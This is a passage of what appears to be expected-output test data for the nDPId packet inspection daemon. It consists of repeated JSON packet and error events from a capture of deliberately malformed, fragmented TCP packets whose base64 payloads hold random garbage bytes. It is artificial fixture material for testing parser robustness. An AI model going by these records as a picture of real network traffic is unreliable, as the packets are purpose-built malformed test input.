expected","datalink":1,"packet_id":993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610339} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610344} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610349} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610354} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610359} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610363} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610368} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610373} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610378} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610382} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610388} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610398} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610403} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610408} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610412} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610417} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610421} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610426} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610431} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610437} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610441} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610450} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610454} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610461} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610466} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610471} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610477} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610482} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610486} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610495} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610500} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610504} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610515} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610557} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610562} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610566} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610571} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610576} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610581} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610586} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025610591} 